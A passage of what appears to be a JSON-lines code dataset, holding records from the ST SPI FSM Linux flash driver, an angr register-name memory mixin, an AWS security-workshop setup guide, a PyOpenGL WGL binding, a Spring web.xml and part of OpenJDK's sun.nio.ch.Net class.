len);\n\n\tmutex_lock(&fsm->lock);\n\n\twhile (len > 0) {\n\t\tbytes = min_t(size_t, len, FLASH_PAGESIZE);\n\n\t\tstfsm_read(fsm, buf, bytes, from);\n\n\t\tbuf += bytes;\n\t\tfrom += bytes;\n\t\tlen -= bytes;\n\n\t\t*retlen += bytes;\n\t}\n\n\tmutex_unlock(&fsm->lock);\n\n\treturn 0;\n}\n\nstatic int stfsm_erase_sector(struct stfsm *fsm, uint32_t offset)\n{\n\tstruct stfsm_seq *seq = &stfsm_seq_erase_sector;\n\tint ret;\n\n\tdev_dbg(fsm->dev, \"erasing sector at 0x%08x\\n\", offset);\n\n\t/* Enter 32-bit address mode, if required */\n\tif (fsm->configuration & CFG_ERASESEC_TOGGLE_32BIT_ADDR)\n\t\tstfsm_enter_32bit_addr(fsm, 1);\n\n\tseq->addr1 = (offset >> 16) & 0xffff;\n\tseq->addr2 = offset & 0xffff;\n\n\tstfsm_load_seq(fsm, seq);\n\n\tstfsm_wait_seq(fsm);\n\n\t/* Wait for completion */\n\tret = stfsm_wait_busy(fsm);\n\tif (ret && fsm->configuration & CFG_S25FL_CHECK_ERROR_FLAGS)\n\t\tstfsm_s25fl_clear_status_reg(fsm);\n\n\t/* Exit 32-bit address mode, if required */\n\tif (fsm->configuration & CFG_ERASESEC_TOGGLE_32BIT_ADDR)\n\t\tstfsm_enter_32bit_addr(fsm, 0);\n\n\treturn ret;\n}\n\nstatic int stfsm_erase_chip(struct stfsm *fsm)\n{\n\tconst struct stfsm_seq *seq = &stfsm_seq_erase_chip;\n\n\tdev_dbg(fsm->dev, \"erasing chip\\n\");\n\n\tstfsm_load_seq(fsm, seq);\n\n\tstfsm_wait_seq(fsm);\n\n\treturn stfsm_wait_busy(fsm);\n}\n\n/*\n * Write an address range to the flash chip. Data must be written in\n * FLASH_PAGESIZE chunks. The address range may be any size provided\n * it is within the physical boundaries.\n */\nstatic int stfsm_mtd_write(struct mtd_info *mtd, loff_t to, size_t len,\n\t\t\t size_t *retlen, const u_char *buf)\n{\n\tstruct stfsm *fsm = dev_get_drvdata(mtd->dev.parent);\n\n\tu32 page_offs;\n\tu32 bytes;\n\tuint8_t *b = (uint8_t *)buf;\n\tint ret = 0;\n\n\tdev_dbg(fsm->dev, \"%s to 0x%08x, len %zd\\n\", __func__, (u32)to, len);\n\n\t/* Offset within page */\n\tpage_offs = to % FLASH_PAGESIZE;\n\n\tmutex_lock(&fsm->lock);\n\n\twhile (len) {\n\t\t/* Write up to page boundary */\n\t\tbytes = min_t(size_t, FLASH_PAGESIZE - page_offs, len);\n\n\t\tret = stfsm_write(fsm, b, bytes, to);\n\t\tif (ret)\n\t\t\tgoto out1;\n\n\t\tb += bytes;\n\t\tlen -= bytes;\n\t\tto += bytes;\n\n\t\t/* We are now page-aligned */\n\t\tpage_offs = 0;\n\n\t\t*retlen += bytes;\n\n\t}\n\nout1:\n\tmutex_unlock(&fsm->lock);\n\n\treturn ret;\n}\n\n/*\n * Erase an address range on the flash chip. The address range may extend\n * one or more erase sectors. Return an error is there is a problem erasing.\n */\nstatic int stfsm_mtd_erase(struct mtd_info *mtd, struct erase_info *instr)\n{\n\tstruct stfsm *fsm = dev_get_drvdata(mtd->dev.parent);\n\tu32 addr, len;\n\tint ret;\n\n\tdev_dbg(fsm->dev, \"%s at 0x%llx, len %lld\\n\", __func__,\n\t\t(long long)instr->addr, (long long)instr->len);\n\n\taddr = instr->addr;\n\tlen = instr->len;\n\n\tmutex_lock(&fsm->lock);\n\n\t/* Whole-chip erase? */\n\tif (len == mtd->size) {\n\t\tret = stfsm_erase_chip(fsm);\n\t\tif (ret)\n\t\t\tgoto out1;\n\t} else {\n\t\twhile (len) {\n\t\t\tret = stfsm_erase_sector(fsm, addr);\n\t\t\tif (ret)\n\t\t\t\tgoto out1;\n\n\t\t\taddr += mtd->erasesize;\n\t\t\tlen -= mtd->erasesize;\n\t\t}\n\t}\n\n\tmutex_unlock(&fsm->lock);\n\n\tinstr->state = MTD_ERASE_DONE;\n\tmtd_erase_callback(instr);\n\n\treturn 0;\n\nout1:\n\tinstr->state = MTD_ERASE_FAILED;\n\tmutex_unlock(&fsm->lock);\n\n\treturn ret;\n}\n\nstatic void stfsm_read_jedec(struct stfsm *fsm, uint8_t *jedec)\n{\n\tconst struct stfsm_seq *seq = &stfsm_seq_read_jedec;\n\tuint32_t tmp[2];\n\n\tstfsm_load_seq(fsm, seq);\n\n\tstfsm_read_fifo(fsm, tmp, 8);\n\n\tmemcpy(jedec, tmp, 5);\n\n\tstfsm_wait_seq(fsm);\n}\n\nstatic struct flash_info *stfsm_jedec_probe(struct stfsm *fsm)\n{\n\tstruct flash_info\t*info;\n\tu16 ext_jedec;\n\tu32\t\t\tjedec;\n\tu8\t\t\tid[5];\n\n\tstfsm_read_jedec(fsm, id);\n\n\tjedec = id[0] << 16 | id[1] << 8 | id[2];\n\t/*\n\t * JEDEC also defines an optional \"extended device information\"\n\t * string for after vendor-specific data, after the three bytes\n\t * we use here. Supporting some chips might require using it.\n\t */\n\text_jedec = id[3] << 8 | id[4];\n\n\tdev_dbg(fsm->dev, \"JEDEC = 0x%08x [%02x %02x %02x %02x %02x]\\n\",\n\t\tjedec, id[0], id[1], id[2], id[3], id[4]);\n\n\tfor (info = flash_types; info->name; info++) {\n\t\tif (info->jedec_id == jedec) {\n\t\t\tif (info->ext_id && info->ext_id != ext_jedec)\n\t\t\t\tcontinue;\n\t\t\treturn info;\n\t\t}\n\t}\n\tdev_err(fsm->dev, \"Unrecognized JEDEC id %06x\\n\", jedec);\n\n\treturn NULL;\n}\n\nstatic int stfsm_set_mode(struct stfsm *fsm, uint32_t mode)\n{\n\tint ret, timeout = 10;\n\n\t/* Wait for controller to accept mode change */\n\twhile (--timeout) {\n\t\tret = readl(fsm->base + SPI_STA_MODE_CHANGE);\n\t\tif (ret & 0x1)\n\t\t\tbreak;\n\t\tudelay(1);\n\t}\n\n\tif (!timeout)\n\t\treturn -EBUSY;\n\n\twritel(mode, fsm->base + SPI_MODESELECT);\n\n\treturn 0;\n}\n\nstatic void stfsm_set_freq(struct stfsm *fsm, uint32_t spi_freq)\n{\n\tuint32_t emi_freq;\n\tuint32_t clk_div;\n\n\temi_freq = clk_get_rate(fsm->clk);\n\n\t/*\n\t * Calculate clk_div - values between 2 and 128\n\t * Multiple of 2, rounded up\n\t */\n\tclk_div = 2 * DIV_ROUND_UP(emi_freq, 2 * spi_freq);\n\tif (clk_div < 2)\n\t\tclk_div = 2;\n\telse if (clk_div > 128)\n\t\tclk_div = 128;\n\n\t/*\n\t * Determine a suitable delay for the IP to complete a change of\n\t * direction of the FIFO. The required delay is related to the clock\n\t * divider used. The following heuristics are based on empirical tests,\n\t * using a 100MHz EMI clock.\n\t */\n\tif (clk_div <= 4)\n\t\tfsm->fifo_dir_delay = 0;\n\telse if (clk_div <= 10)\n\t\tfsm->fifo_dir_delay = 1;\n\telse\n\t\tfsm->fifo_dir_delay = DIV_ROUND_UP(clk_div, 10);\n\n\tdev_dbg(fsm->dev, \"emi_clk = %uHZ, spi_freq = %uHZ, clk_div = %u\\n\",\n\t\temi_freq, spi_freq, clk_div);\n\n\twritel(clk_div, fsm->base + SPI_CLOCKDIV);\n}\n\nstatic int stfsm_init(struct stfsm *fsm)\n{\n\tint ret;\n\n\t/* Perform a soft reset of the FSM controller */\n\twritel(SEQ_CFG_SWRESET, fsm->base + SPI_FAST_SEQ_CFG);\n\tudelay(1);\n\twritel(0, fsm->base + SPI_FAST_SEQ_CFG);\n\n\t/* Set clock to 'safe' frequency initially */\n\tstfsm_set_freq(fsm, STFSM_FLASH_SAFE_FREQ);\n\n\t/* Switch to FSM */\n\tret = stfsm_set_mode(fsm, SPI_MODESELECT_FSM);\n\tif (ret)\n\t\treturn ret;\n\n\t/* Set timing parameters */\n\twritel(SPI_CFG_DEVICE_ST |\n\t SPI_CFG_DEFAULT_MIN_CS_HIGH |\n\t SPI_CFG_DEFAULT_CS_SETUPHOLD |\n\t SPI_CFG_DEFAULT_DATA_HOLD,\n\t fsm->base + SPI_CONFIGDATA);\n\twritel(STFSM_DEFAULT_WR_TIME, fsm->base + SPI_STATUS_WR_TIME_REG);\n\n\t/*\n\t * Set the FSM 'WAIT' delay to the minimum workable value. Note, for\n\t * our purposes, the WAIT instruction is used purely to achieve\n\t * \"sequence validity\" rather than actually implement a delay.\n\t */\n\twritel(0x00000001, fsm->base + SPI_PROGRAM_ERASE_TIME);\n\n\t/* Clear FIFO, just in case */\n\tstfsm_clear_fifo(fsm);\n\n\treturn 0;\n}\n\nstatic void stfsm_fetch_platform_configs(struct platform_device *pdev)\n{\n\tstruct stfsm *fsm = platform_get_drvdata(pdev);\n\tstruct device_node *np = pdev->dev.of_node;\n\tstruct regmap *regmap;\n\tuint32_t boot_device_reg;\n\tuint32_t boot_device_spi;\n\tuint32_t boot_device; /* Value we read from *boot_device_reg */\n\tint ret;\n\n\t/* Booting from SPI NOR Flash is the default */\n\tfsm->booted_from_spi = true;\n\n\tregmap = syscon_regmap_lookup_by_phandle(np, \"st,syscfg\");\n\tif (IS_ERR(regmap))\n\t\tgoto boot_device_fail;\n\n\tfsm->reset_signal = of_property_read_bool(np, \"st,reset-signal\");\n\n\tfsm->reset_por = of_property_read_bool(np, \"st,reset-por\");\n\n\t/* Where in the syscon the boot device information lives */\n\tret = of_property_read_u32(np, \"st,boot-device-reg\", &boot_device_reg);\n\tif (ret)\n\t\tgoto boot_device_fail;\n\n\t/* Boot device value when booted from SPI NOR */\n\tret = of_property_read_u32(np, \"st,boot-device-spi\", &boot_device_spi);\n\tif (ret)\n\t\tgoto boot_device_fail;\n\n\tret = regmap_read(regmap, boot_device_reg, &boot_device);\n\tif (ret)\n\t\tgoto boot_device_fail;\n\n\tif (boot_device != boot_device_spi)\n\t\tfsm->booted_from_spi = false;\n\n\treturn;\n\nboot_device_fail:\n\tdev_warn(&pdev->dev,\n\t\t \"failed to fetch boot device, assuming boot from SPI\\n\");\n}\n\nstatic int stfsm_probe(struct platform_device *pdev)\n{\n\tstruct device_node *np = pdev->dev.of_node;\n\tstruct mtd_part_parser_data ppdata;\n\tstruct flash_info *info;\n\tstruct resource *res;\n\tstruct stfsm *fsm;\n\tint ret;\n\n\tif (!np) {\n\t\tdev_err(&pdev->dev, \"No DT found\\n\");\n\t\treturn -EINVAL;\n\t}\n\tppdata.of_node = np;\n\n\tfsm = devm_kzalloc(&pdev->dev, sizeof(*fsm), GFP_KERNEL);\n\tif (!fsm)\n\t\treturn -ENOMEM;\n\n\tfsm->dev = &pdev->dev;\n\n\tplatform_set_drvdata(pdev, fsm);\n\n\tres = platform_get_resource(pdev, IORESOURCE_MEM, 0);\n\tif (!res) {\n\t\tdev_err(&pdev->dev, \"Resource not found\\n\");\n\t\treturn -ENODEV;\n\t}\n\n\tfsm->base = devm_ioremap_resource(&pdev->dev, res);\n\tif (IS_ERR(fsm->base)) {\n\t\tdev_err(&pdev->dev,\n\t\t\t\"Failed to reserve memory region %pR\\n\", res);\n\t\treturn PTR_ERR(fsm->base);\n\t}\n\n\tfsm->clk = devm_clk_get(&pdev->dev, NULL);\n\tif (IS_ERR(fsm->clk)) {\n\t\tdev_err(fsm->dev, \"Couldn't find EMI clock.\\n\");\n\t\treturn PTR_ERR(fsm->clk);\n\t}\n\n\tret = clk_prepare_enable(fsm->clk);\n\tif (ret) {\n\t\tdev_err(fsm->dev, \"Failed to enable EMI clock.\\n\");\n\t\treturn ret;\n\t}\n\n\tmutex_init(&fsm->lock);\n\n\tret = stfsm_init(fsm);\n\tif (ret) {\n\t\tdev_err(&pdev->dev, \"Failed to initialise FSM Controller\\n\");\n\t\treturn ret;\n\t}\n\n\tstfsm_fetch_platform_configs(pdev);\n\n\t/* Detect SPI FLASH device */\n\tinfo = stfsm_jedec_probe(fsm);\n\tif (!info)\n\t\treturn -ENODEV;\n\tfsm->info = info;\n\n\t/* Use device size to determine address width */\n\tif (info->sector_size * info->n_sectors > 0x1000000)\n\t\tinfo->flags |= FLASH_FLAG_32BIT_ADDR;\n\n\t/*\n\t * Configure READ/WRITE/ERASE sequences according to platform and\n\t * device flags.\n\t */\n\tif (info->config) {\n\t\tret = info->config(fsm);\n\t\tif (ret)\n\t\t\treturn ret;\n\t} else {\n\t\tret = stfsm_prepare_rwe_seqs_default(fsm);\n\t\tif (ret)\n\t\t\treturn ret;\n\t}\n\n\tfsm->mtd.name\t\t= info->name;\n\tfsm->mtd.dev.parent\t= &pdev->dev;\n\tfsm->mtd.type\t\t= MTD_NORFLASH;\n\tfsm->mtd.writesize\t= 4;\n\tfsm->mtd.writebufsize\t= fsm->mtd.writesize;\n\tfsm->mtd.flags\t\t= MTD_CAP_NORFLASH;\n\tfsm->mtd.size\t\t= info->sector_size * info->n_sectors;\n\tfsm->mtd.erasesize\t= info->sector_size;\n\n\tfsm->mtd._read = stfsm_mtd_read;\n\tfsm->mtd._write = stfsm_mtd_write;\n\tfsm->mtd._erase = stfsm_mtd_erase;\n\n\tdev_info(&pdev->dev,\n\t\t\"Found serial flash device: %s\\n\"\n\t\t\" size = %llx (%lldMiB) erasesize = 0x%08x (%uKiB)\\n\",\n\t\tinfo->name,\n\t\t(long long)fsm->mtd.size, (long long)(fsm->mtd.size >> 20),\n\t\tfsm->mtd.erasesize, (fsm->mtd.erasesize >> 10));\n\n\treturn mtd_device_parse_register(&fsm->mtd, NULL, &ppdata, NULL, 0);\n}\n\nstatic int stfsm_remove(struct platform_device *pdev)\n{\n\tstruct stfsm *fsm = platform_get_drvdata(pdev);\n\n\treturn mtd_device_unregister(&fsm->mtd);\n}\n\n#ifdef CONFIG_PM_SLEEP\nstatic int stfsmfsm_suspend(struct device *dev)\n{\n\tstruct stfsm *fsm = dev_get_drvdata(dev);\n\n\tclk_disable_unprepare(fsm->clk);\n\n\treturn 0;\n}\n\nstatic int stfsmfsm_resume(struct device *dev)\n{\n\tstruct stfsm *fsm = dev_get_drvdata(dev);\n\n\tclk_prepare_enable(fsm->clk);\n\n\treturn 0;\n}\n#endif\n\nstatic SIMPLE_DEV_PM_OPS(stfsm_pm_ops, stfsmfsm_suspend, stfsmfsm_resume);\n\nstatic const struct of_device_id stfsm_match[] = {\n\t{ .compatible = \"st,spi-fsm\", },\n\t{},\n};\nMODULE_DEVICE_TABLE(of, stfsm_match);\n\nstatic struct platform_driver stfsm_driver = {\n\t.probe\t\t= stfsm_probe,\n\t.remove\t\t= stfsm_remove,\n\t.driver\t\t= {\n\t\t.name\t= \"st-spi-fsm\",\n\t\t.of_match_table = stfsm_match,\n\t\t.pm = &stfsm_pm_ops,\n\t},\n};\nmodule_platform_driver(stfsm_driver);\n\nMODULE_AUTHOR(\"Angus Clark \");\nMODULE_DESCRIPTION(\"ST SPI FSM driver\");\nMODULE_LICENSE(\"GPL\");\n"} -{"text": "import claripy\nfrom archinfo.arch_arm import is_arm_arch\nfrom . import MemoryMixin\n\nstn_map = { 'st%d' % n: n for n in range(8) }\ntag_map = { 'tag%d' % n: n for n in range(8) }\n\nclass NameResolutionMixin(MemoryMixin):\n \"\"\"\n This mixin allows you to provide register names as load addresses, and will automatically translate this to an\n offset and size.\n \"\"\"\n def _resolve_location_name(self, name, is_write=False):\n\n # Delayed load so SimMemory does not rely on SimEngines\n from ...engines.vex.claripy.ccall import _get_flags\n\n if self.category == 'reg':\n if self.state.arch.name in ('X86', 'AMD64'):\n if name in stn_map:\n return (((stn_map[name] + self.load('ftop')) & 7) << 3) + self.state.arch.registers['fpu_regs'][0], 8\n elif name in tag_map:\n return ((tag_map[name] + self.load('ftop')) & 7) + self.state.arch.registers['fpu_tags'][0], 1\n elif name in ('flags', 'eflags', 'rflags'):\n # we tweak the state to convert the vex condition registers into the flags register\n if not is_write: # this work doesn't need to be done if we're just gonna overwrite it\n self.store('cc_dep1', _get_flags(self.state)) # constraints cannot be added by this\n self.store('cc_op', 0) # OP_COPY\n return self.state.arch.registers['cc_dep1']\n if is_arm_arch(self.state.arch):\n if name == 'flags':\n if not is_write:\n self.store('cc_dep1', _get_flags(self.state))\n self.store('cc_op', 0)\n return self.state.arch.registers['cc_dep1']\n\n return self.state.arch.registers[name]\n elif name[0] == '*':\n return self.state.registers.load(name[1:]), None\n else:\n raise SimMemoryError(\"Trying to address memory with a register name.\")\n\n def store(self, addr, data, size=None, **kwargs):\n if isinstance(addr, str):\n named_addr, named_size = self._resolve_location_name(addr, is_write=True)\n if isinstance(data, claripy.ast.BV) and len(data) < named_size * self.state.arch.byte_width:\n data = data.zero_extend(named_size * self.state.arch.byte_width - len(data))\n return super().store(named_addr, data, size=named_size if size is None else size, **kwargs)\n else:\n return super().store(addr, data, size=size, **kwargs)\n\n def load(self, addr, size=None, **kwargs):\n if isinstance(addr, str):\n named_addr, named_size = self._resolve_location_name(addr, is_write=False)\n return super().load(named_addr, size=named_size if size is None else size, **kwargs)\n else:\n return super().load(addr, size=size, **kwargs)\n\n\nfrom ...errors import SimMemoryError\n"} -{"text": "# Getting Started\n\n## Create an AWS account\n\nIn order to complete the hands-on content on this site, you'll need an AWS Account. We strongly recommend that you use a personal account or create a new AWS account to ensure you have the necessary access and that you do not accidentally modify corporate resources. Do **not** use an AWS account from the company you work for unless they provide sandbox accounts just for this purpose.\n\n## Create an IAM user (with admin permissions) \n\nIf you don't already have an AWS IAM user with admin permissions, please use the following instructions to create one:\n\n1. Browse to the AWS IAM console.\n2. Click **Users** on the left navigation and then click **Add User**.\n3. Enter a **User Name**, check the checkbox for **AWS Management Console access**, enter a **Custom Password**, and click **Next:Permissions**.\n4. Click **Attach existing policies directly**, click the checkbox next to the **AdministratorAccess**, and click **Next:review**.\n5. Click **Create User**\n6. Click **Dashboard** on the left navigation and use the **IAM users sign-in link** to login as the admin user you just created.\n\n## Add credits (optional) \n\nIf you are doing this workshop as part of an AWS sponsored event that doesn't provide AWS accounts, you will receive credits to cover the costs. Below are the instructions for entering the credits:\n\n1. Browse to the AWS Account Settings console.\n2. Enter the **Promo Code** you received (these will be handed out at the beginning of the workshop).\n3. Enter the **Security Check** and click **Redeem**.\n\n\n\n??? info \"Click here if the workshop you are doing requires a Cloud9 instance\" \n\n\tIf the workshop you are doing requires you to run commands or scripts you will need to launch a an AWS Cloud9 instance which will provide you with a cloud-based integrated development environment (IDE) that lets you write, run, and debug your code with just a browser. The workshop instructions will specify if this needed. Below are the instructions for launching an instance:\n\n\t1. Browse to the AWS Cloud9 console.\n\t2. Click **Create environment** on the right side.\n\t3. Enter a **Name** (security-workshop-ide) and click **Next step**.\n\t4. Leave all the defaults and click **Next step**.\n\t5. Click **Create environment**.\n\t6. The environment will open automatically after it has been provisioned. Browse back to the AWS Cloud9 console and you can click **Open IDE** on the environment you created to access it at anytime.\n\n## Choose your workshop\n\nYou are now setup for the workshops! The site is broken down into two different types. Click on one of the types below to be taken to the directory:\n\n* **[Builder Sessions](/builder-sessions/)** - A 1 hour hands-on deep dive focused on a specific topic or AWS service.\n* **[Workshops](/workshops/)** - A 2 hour hands-on deep dive using a broader set of AWS services together and covering multiple aspects of a particular security domain. \n"} -{"text": "'''Autogenerated by xml_generate script, do not edit!'''\nfrom OpenGL import platform as _p, arrays\n# Code generation uses this\nfrom OpenGL.raw.WGL import _types as _cs\n# End users want this...\nfrom OpenGL.raw.WGL._types import *\nfrom OpenGL.raw.WGL import _errors\nfrom OpenGL.constant import Constant as _C\n\nimport ctypes\n_EXTENSION_NAME = 'WGL_NV_gpu_affinity'\ndef _f( function ):\n return _p.createFunction( function,_p.PLATFORM.WGL,'WGL_NV_gpu_affinity',error_checker=_errors._error_checker)\nERROR_INCOMPATIBLE_AFFINITY_MASKS_NV=_C('ERROR_INCOMPATIBLE_AFFINITY_MASKS_NV',0x20D0)\nERROR_MISSING_AFFINITY_MASK_NV=_C('ERROR_MISSING_AFFINITY_MASK_NV',0x20D1)\n@_f\n@_p.types(_cs.HDC,ctypes.POINTER(_cs.HGPUNV))\ndef wglCreateAffinityDCNV(phGpuList):pass\n@_f\n@_p.types(_cs.BOOL,_cs.HDC)\ndef wglDeleteDCNV(hdc):pass\n@_f\n@_p.types(_cs.BOOL,_cs.HGPUNV,_cs.UINT,_cs.PGPU_DEVICE)\ndef wglEnumGpuDevicesNV(hGpu,iDeviceIndex,lpGpuDevice):pass\n@_f\n@_p.types(_cs.BOOL,_cs.HDC,_cs.UINT,ctypes.POINTER(_cs.HGPUNV))\ndef wglEnumGpusFromAffinityDCNV(hAffinityDC,iGpuIndex,hGpu):pass\n@_f\n@_p.types(_cs.BOOL,_cs.UINT,ctypes.POINTER(_cs.HGPUNV))\ndef wglEnumGpusNV(iGpuIndex,phGpu):pass\n"} -{"text": "\n\n SpringMVC\n \n index.html\n \n \n \n \n contextConfigLocation\n /WEB-INF/root-context.xml\n \n \n org.springframework.web.context.ContextLoaderListener\n \n \n \n \n \trest \t \n \torg.springframework.web.servlet.DispatcherServlet\n \n \n \n \trest\n \t/rest/*\n \n"} -{"text": "/*\n * Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\npackage sun.nio.ch;\n\nimport java.io.*;\nimport java.net.*;\nimport jdk.net.*;\nimport java.nio.channels.*;\nimport java.util.*;\nimport java.security.AccessController;\nimport java.security.PrivilegedAction;\nimport java.security.PrivilegedExceptionAction;\nimport sun.net.ExtendedOptionsImpl;\nimport static jdk.net.ExtendedSocketOptions.TCP_KEEPCOUNT;\nimport static jdk.net.ExtendedSocketOptions.TCP_KEEPIDLE;\nimport static jdk.net.ExtendedSocketOptions.TCP_KEEPINTERVAL;\n\n\npublic class Net {\n\n private Net() { }\n\n // unspecified protocol family\n static final ProtocolFamily UNSPEC = new ProtocolFamily() {\n public String name() {\n return \"UNSPEC\";\n }\n };\n\n // set to true if exclusive binding is on for Windows\n private static final boolean exclusiveBind;\n\n // set to true if the fast tcp loopback should be enabled on Windows\n private static final boolean fastLoopback;\n\n // -- Miscellaneous utilities --\n\n private static volatile boolean checkedIPv6 = false;\n private static volatile boolean isIPv6Available;\n\n /**\n * Tells whether dual-IPv4/IPv6 sockets should be used.\n */\n static boolean isIPv6Available() {\n if (!checkedIPv6) {\n isIPv6Available = isIPv6Available0();\n checkedIPv6 = true;\n }\n return isIPv6Available;\n }\n\n /**\n * Returns true if exclusive binding is on\n */\n static boolean useExclusiveBind() {\n return exclusiveBind;\n }\n\n /**\n * Tells whether IPv6 sockets can join IPv4 multicast groups\n */\n static boolean canIPv6SocketJoinIPv4Group() {\n return canIPv6SocketJoinIPv4Group0();\n }\n\n /**\n * Tells whether {@link #join6} can be used to join an IPv4\n * multicast group (IPv4 group as IPv4-mapped IPv6 address)\n */\n static boolean canJoin6WithIPv4Group() {\n return canJoin6WithIPv4Group0();\n }\n\n public static InetSocketAddress checkAddress(SocketAddress sa) {\n if (sa == null)\n throw new NullPointerException();\n if (!(sa instanceof InetSocketAddress))\n throw new UnsupportedAddressTypeException(); // ## needs arg\n InetSocketAddress isa = (InetSocketAddress)sa;\n if (isa.isUnresolved())\n throw new UnresolvedAddressException(); // ## needs arg\n InetAddress addr = isa.getAddress();\n if (!(addr instanceof Inet4Address || addr instanceof Inet6Address))\n throw new IllegalArgumentException(\"Invalid address type\");\n return isa;\n }\n\n static InetSocketAddress asInetSocketAddress(SocketAddress sa) {\n if (!(sa instanceof InetSocketAddress))\n throw new UnsupportedAddressTypeException();\n return (InetSocketAddress)sa;\n }\n\n static void translateToSocketException(Exception x)\n throws SocketException\n {\n if (x instanceof SocketException)\n throw (SocketException)x;\n Exception nx = x;\n if (x instanceof ClosedChannelException)\n nx = new SocketException(\"Socket is closed\");\n else if (x instanceof NotYetConnectedException)\n nx = new SocketException(\"Socket is not connected\");\n else if (x instanceof AlreadyBoundException)\n nx = new SocketException(\"Already bound\");\n else if (x instanceof NotYetBoundException)\n nx = new SocketException(\"Socket is not bound yet\");\n else if (x instanceof UnsupportedAddressTypeException)\n nx = new SocketException(\"Unsupported address type\");\n else if (x instanceof UnresolvedAddressException) {\n nx = new SocketException(\"Unresolved address\");\n }\n if (nx != x)\n nx.initCause(x);\n\n if (nx instanceof SocketException)\n throw (SocketException)nx;\n else if (nx instanceof RuntimeException)\n throw (RuntimeException)nx;\n else\n throw new Error(\"Untranslated exception\", nx);\n }\n\n static void translateException(Exception x,\n boolean unknownHostForUnresolved)\n throws IOException\n {\n if (x instanceof IOException)\n throw (IOException)x;\n // Throw UnknownHostException from here since it cannot\n // be thrown as a SocketException\n if (unknownHostForUnresolved &&\n (x instanceof UnresolvedAddressException))\n {\n throw new UnknownHostException();\n }\n translateToSocketException(x);\n }\n\n static void translateException(Exception x)\n throws IOException\n {\n translateException(x, false);\n }\n\n /**\n * Returns the local address after performing a SecurityManager#checkConnect.\n */\n static InetSocketAddress getRevealedLocalAddress(InetSocketAddress addr) {\n SecurityManager sm = System.getSecurityManager();\n if (addr == null || sm == null)\n return addr;\n\n try{\n sm.checkConnect(addr.getAddress().getHostAddress(), -1);\n // Security check passed\n } catch (SecurityException e) {\n // Return loopback address only if security check fails\n addr = getLoopbackAddress(addr.getPort());\n }\n return addr;\n }\n\n static String getRevealedLocalAddressAsString(InetSocketAddress addr) {\n return System.getSecurityManager() == null ? addr.toString() :\n getLoopbackAddress(addr.getPort()).toString();\n }\n\n private static InetSocketAddress getLoopbackAddress(int port) {\n return new InetSocketAddress(InetAddress.getLoopbackAddress(),\n port);\n }\n\n /**\n * Returns any IPv4 address of the given network interface, or\n * null if the interface does not have any IPv4 addresses.\n */\n static Inet4Address anyInet4Address(final NetworkInterface interf) {\n return AccessController.doPrivileged(new PrivilegedAction() {\n public Inet4Address run() {\n Enumeration addrs = interf.getInetAddresses();\n while (addrs.hasMoreElements()) {\n InetAddress addr = addrs.nextElement();\n if (addr instanceof Inet4Address) {\n return (Inet4Address)addr;\n }\n }\n return null;\n }\n });\n }\n\n /**\n * Returns an IPv4 address as an int.\n */\n static int inet4AsInt(InetAddress ia) {\n if (ia instanceof Inet4Address) {\n byte[] addr = ia.getAddress();\n int address = addr[3] & 0xFF;\n address |= ((addr[2] << 8) & 0xFF00);\n address |= ((addr[1] << 16) & 0xFF0000);\n address |= ((addr[0] << 24) & 0xFF000000);\n return address;\n }\n throw new AssertionError(\"Should not reach here\");\n }\n\n /**\n * Returns an InetAddress from the given IPv4 address\n * represented as an int.\n */\n static InetAddress inet4FromInt(int address) {\n byte[] addr = new byte[4];\n addr[0] = (byte) ((address >>> 24) & 0xFF);\n addr[1] = (byte) ((address >>> 16) & 0xFF);\n addr[2] = (byte) ((address >>> 8) & 0xFF);\n addr[3] = (byte) (address & 0xFF);\n try {\n return InetAddress.getByAddress(addr);\n } catch (UnknownHostException uhe) {\n throw new AssertionError(\"Should not reach here\");\n }\n }\n\n /**\n * Returns an IPv6 address as a byte array\n */\n static byte[] inet6AsByteArray(InetAddress ia) {\n if (ia instanceof Inet6Address) {\n return ia.getAddress();\n }\n\n // need to construct IPv4-mapped address\n if (ia instanceof Inet4Address) {\n byte[] ip4address = ia.getAddress();\n byte[] address = new byte[16];\n address[10] = (byte)0xff;\n address[11] = (byte)0xff;\n address[12] = ip4address[0];\n address[13] = ip4address[1];\n address[14] = ip4address[2];\n address[15] = ip4address[3];\n return address;\n }\n\n throw new AssertionError(\"Should not reach here\");\n }\n\n // -- Socket options\n\n static void setSocketOption(FileDescriptor fd, ProtocolFamily family,\n SocketOption name, Object value)\n throws IOException\n {\n if (value == null)\n throw new IllegalArgumentException(\"Invalid option value\");\n\n // only simple values supported by this method\n Class type = name.type();\n\n if (type == SocketFlow.class) {\n ExtendedOptionsImpl.checkSetOptionPermission(name);\n ExtendedOptionsImpl.checkValueType(value, SocketFlow.class);\n ExtendedOptionsImpl.setFlowOption(fd, (SocketFlow)value);\n return;\n }\n if (name == TCP_KEEPINTERVAL) {\n ExtendedOptionsImpl.checkSetOptionPermission(name);\n ExtendedOptionsImpl.checkValueType(value, Integer.class);\n ExtendedOptionsImpl.setTcpKeepAliveIntvl(fd, (Integer)value);\n return;\n }\n if (name == TCP_KEEPIDLE) {\n ExtendedOptionsImpl.checkSetOptionPermission(name);\n ExtendedOptionsImpl.checkValueType(value, Integer.class);\n ExtendedOptionsImpl.setTcpKeepAliveTime(fd, (Integer)value);\n return;\n }\n if (name == TCP_KEEPCOUNT) {\n ExtendedOptionsImpl.checkSetOptionPermission(name);\n ExtendedOptionsImpl.checkValueType(value, Integer.class);\n ExtendedOptionsImpl.setTcpKeepAliveProbes(fd, (Integer)value);\n return;\n }\n\n if (type != Integer.class && type != Boolean.class)\n throw new AssertionError(\"Should not reach here\");\n\n // special handling\n if (name == StandardSocketOptions.SO_RCVBUF ||\n name == StandardSocketOptions.SO_SNDBUF)\n {\n int i = ((Integer)value).intValue();\n if (i < 0)\n throw new 